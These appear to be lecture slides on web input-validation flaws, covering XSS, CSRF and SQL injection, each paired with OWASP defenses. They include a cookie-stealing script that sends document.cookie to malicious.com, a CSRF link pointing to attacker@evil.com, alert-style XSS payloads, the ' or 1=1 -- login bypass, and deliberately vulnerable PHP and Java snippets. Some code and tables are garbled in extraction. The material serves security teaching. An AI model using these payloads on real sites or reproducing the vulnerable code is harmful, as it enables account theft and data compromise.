Input Validation is Key

- We have seen examples of vulnerabilities that exploit memory management in languages like C/C++
- There are many other classes of vulnerabilities that work against other languages, even type-safe ones!
  - Many arise in the context of the web
- Defeating most of them boil down to doing good input validation and sanitization
Cross-Site Scripting (XSS)

- XSS vulnerabilities allow the generation of dynamic HTML contents with invalidated (and potentially malicious) inputs

- Inputs are interpreted by browsers while rendering web pages

Stored XSS

- Stored XSS attacks occur when dynamic HTML contents are generated from unsanitized information stored in persistent storage

- For example, consider a blog site to which someone posts the “comment”

  `<script>alert('xss');</script>`

- If the server, serves this “comment” back to the next user without sanitizing it, then the user’s browser might execute the script!
Now suppose that the script is

```html
<script>
    document.location = 'http://malicious.com/?' +
    document.cookie
</script>
```

- This transfers the cookie for the current web site to malicious.com
  - Depending on what the cookie is, it might allow the attacker to perform commands as the user
Reflected XSS

http://www.foo.com?fname=
<script>alert(‘xss’);</script>

“click!”

```php
echo $_GET('fname');
echo "was not found";
```

DOM-Based XSS

- Modifies the DOM “environment” in the victim browser used by a client-side script
- For example, suppose a web site sends this Javascript script to a browser
  ```javascript
  var name =
  document.URL.indexOf("name=") + 5;
  document.write ("Hello" + name);
  ...
  ```
- in response to a request for `page.html`
DOM-Based XSS

- Then, requesting 
  /page.html?name=Mark
results in
  Hello Mark
- Requesting
  /page.html#name=Mark
  does the same thing, but does not send anything after the # to the server
- Now, consider requesting
  /page.html#name=<script>alert('xss');</script>

Defending Against These Attacks

- Escaping, sanitization, or filtering is the practice of encoding or eliminating dangerous constructs in untrusted data
- The most widespread approach in practice for defending against these types of attacks
- Unfortunately, proper sanitization is much, much harder than it looks
Sanitization Example

- Imagine that a web server is using this untrusted string to construct output

"<p>" + '<script> doEvil() </script>' + '</p>"

Untrusted

- Use a special function to remove “bad” content

"<p>" + 
\[
\text{sanitizeHTML(}
  "<script>
  doEvil()
  
  doEvil()
  
  </script>"
\) + 
"</p>"

- Are we done?
A More Complex Example

Sanitization needs to be *context specific!*

Now Are We Done?

So, suppose you now have sanitizers for tags, URLs, attributes ...

```html
<div onclick="displayComment('SANITIZED_ATTRIBUTE')">"
  
  <div>
    <div onclick="displayComment('SANITIZED_ATTRIBUTE')">
      
      '') >
    </div>
  </div>
</div>
```

What if `SANITIZED_ATTRIBUTE = "script";stealInfo("script";" ... `
Now Are We Done?

- Browser entity-decodes the `&quot;` entity names into characters (")
  - Changes how this data will appear in the JavaScript
- Multiple contexts are now relevant

XSS Defenses [OWASP]

- Never insert untrusted data except in allowed locations

<table>
<thead>
<tr>
<th>Code</th>
<th>Placement</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>&lt;script&gt;</code>...NO UNTRUSTED DATA HERE...<code>&lt;/script&gt;</code></td>
<td>directly in script</td>
</tr>
<tr>
<td>&lt;!--...NO UNTRUSTED DATA HERE...--&gt;</td>
<td>inside HTML comment</td>
</tr>
<tr>
<td><code>&lt;div</code>...NO UNTRUSTED DATA HERE...=<code>test</code> <code>&gt;</code></td>
<td>in attribute name</td>
</tr>
<tr>
<td><code>&lt;NO UNTRUSTED DATA HERE... href=&quot;/test&quot;</code> <code>&gt;</code></td>
<td>in tag name</td>
</tr>
<tr>
<td><code>&lt;style&gt;</code>...NO UNTRUSTED DATA HERE...<code>&lt;/style&gt;</code></td>
<td>directly in CSS</td>
</tr>
</tbody>
</table>
### XSS Defenses [OWASP]

- **HTML escape before inserting untrusted data into HTML element content**
  - Most web frameworks have a method for HTML escaping for important characters
    
    | `<`  | `>`  | `&`  | `"`  | `'`  | `<`  |
    |------|------|------|------|------|------|
    | `<`  | `>`  | `&`  | `"`  | `'`  | `<`  |
    | `<`  | `>`  | `&`  | `"`  | `'`  | `<`  |
    | `<`  | `>`  | `&`  | `"`  | `'`  | `<`  |
    | `<`  | `>`  | `&`  | `"`  | `'`  | `<`  |

```html
<body> ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
<div> ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE... </div>
```

- **Attribute escape before inserting untrusted data into HTML common attributes**

### XSS Defenses [OWASP]

- **JavaScript escape before inserting untrusted data into JavaScript data values**
  - Applies to dynamically generated JavaScript code, both script blocks and event-handler attributes

```html
<script>alert('...ESCAPE UNTRUSTED DATA HERE...')</script>
<script>x='...ESCAPE UNTRUSTED DATA HERE...'</script>
<div onmouseover="x='...ESCAPE UNTRUSTED DATA HERE...'"></div>
```

- **Some JavaScript functions that can never safely use untrusted data as input, even if JavaScript escaped!**
XSS Defenses [OWASP]

- CSS escape and strictly validate before inserting untrusted data into HTML style property values
  - For when you want to put untrusted data into a stylesheet or a style tag
- URL escape before inserting untrusted data into HTML URL parameter values
  - For when you want to put untrusted data into HTTP GET parameter value

XSS Defenses [OWASP]

- If your application handles markup (i.e., untrusted input that is supposed to contain HTML), then use a library that can parse and clean HTML formatted text
  - HtmlSanitizer
  - OWASP Java HTML Sanitizer
  - Ruby on Rails SanitizeHelper
  - PHP HTML Purifier
  - JavaScript/Node.js Bleach
  - Python Bleach
And then there’s DOM-based XSS ... OMG!

OWASP lists 7 “rules” and 10 “guidelines”, e.g.,

- Rule #1: HTML escape then JavaScript escape before inserting untrusted data into HTML subcontext within the execution context
- Rule #3: Be careful when inserting untrusted data into the event handler and JavaScript code subcontexts within an execution context

If you’re going to work in this domain, you need to educate yourself!

Consider a page from www.foo.com to allow a user to update her email address

```html
<HTML>
<BODY>
<FORM action="editprofile.php" method="POST">
    <INPUT type="hidden" name="action" value="setemail">
    <INPUT type="text" name="email" value="">
    <INPUT type="submit" value="Change Email Address">
</FORM>
</BODY>
</HTML>
```
Here is a snippet from `editprofile.php` on the server:

```php
if (!valid($SESSION[\'username\'])) {
    echo "invalid session detected!";
    exit;
}

if ($POST[\'action\'] == \'setemail\'){
    update profile($POST[\'email\']);
}
```

If the user supplies the new email address as `user@xyz.com`, the legitimate request becomes:

```
http://www.foo.com/editprofile?
action=setemail\&email=user@xyz.com
```

Browser adds the session information (or cookie) in the request before sending to the server program.
Cross-Site Request Forgery

- Now suppose the attacker tricks the user into clicking on
  
  http://www.foo.com/editprofile?
  action=setemail&email=attacker@evil.com

- Note that this needs to happen while the user is logged in at foo.com

CSRF Defenses [OWASP]

- Any state changing operation should require a secure random token, the “CSRF token”
  - Should be large, random, unique per user session
  - Add CSRF token as a hidden field for forms headers / parameters for AJAX calls, and within the URL if the state changing operation occurs via a GET
  - Server rejects the requested action if the CSRF token fails validation

- Unlike cookies, CSRF tokens are not sent automatically with forged requests by browser

- See OWASP for additional defenses
CSRF Defenses [OWASP]

- Note: any cross-site scripting vulnerability can be used to defeat all CSRF mitigation techniques available in the market today
  - XSS payload can use XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request

- Don’t use GET requests for state changing operations (RFC 2616)

SQL Injection Example

- Consider the following Java servlet

```java
String LoginAction (HttpServletRequest request, ...) throws IOException {
    String sLogin = getParam (request, "Login");
    String sPassword = getParam (request, "Password");
    java.sql.ResultSet rs = null;
    String qry = "select member_id, member_level from members where ";
    qry = qry + "member_login = '" + sLogin + "} + sPassword + "}";
    java.sql.ResultSet rs = stat.executeQuery (qry);
    if (rs.next()) {    // Login and password passed
        session.setAttribute("UserID", rs.getString(1));
        ...
    }
    ...
}
```
SQL Injection Example

- If “Login” parameter is “guest” and “Password” parameter is “secret”, then \texttt{qry} becomes …

\begin{verbatim}
select member_id, member_level
from members where
member_login = 'guest' and
member_password = 'secret'
\end{verbatim}

- If “Login” parameter is “’ or 1=1 --” and “Password” parameter is “’”, then \texttt{qry} becomes …

\begin{verbatim}
select member_id, member_level
from members where
member_login = '' or 1=1
-- and member_password = ''
\end{verbatim}

- “1=1” is a tautology
- “--” begins a comment
SQL Defenses [OWASP]

- Prepared statements w/ parameterized queries
  - Forces the developer to first define all SQL code, and later pass in each parameter to the query
  - Allows the database to distinguish between code and data, regardless of user input

- Stored procedures
  - Like above, but SQL code for a stored procedure is defined and stored in the database itself, and then called from the application
  - Stored procedure should not include any unsafe dynamic SQL generation

---

SQL Defenses [OWASP]

- White-list input validation
  - if user-provided values are used to make table names and column names, then the values should be mapped to legal/expected table or column names
  - Example:

```java
String tableName;
switch(PARAM):
    case "Value1": tableName = "fooTable";
                   break;
    case "Value2": tableName = "barTable";
                   break;
    ...
    default :
              throw new InputValidationException("unexpected value provided for table name");
```

---
Escaping all user-supplied input

- If you escape all user supplied input using the proper escaping scheme, the DBMS will not confuse that input with SQL code written by the developer
- Can be fragile/tricky; other approaches preferred

Codec ORACLE_CODEC = new OracleCodec();
String query =
"SELECT user_id FROM user_data WHERE user_name = '" +
ESAPI.encoder().encodeForSQL( ORACLE_CODEC,
    req.getParameter("userID")) +
"' and user_password = '" +
ESAPI.encoder().encodeForSQL( ORACLE_CODEC,
    req.getParameter("pwd")) +
'";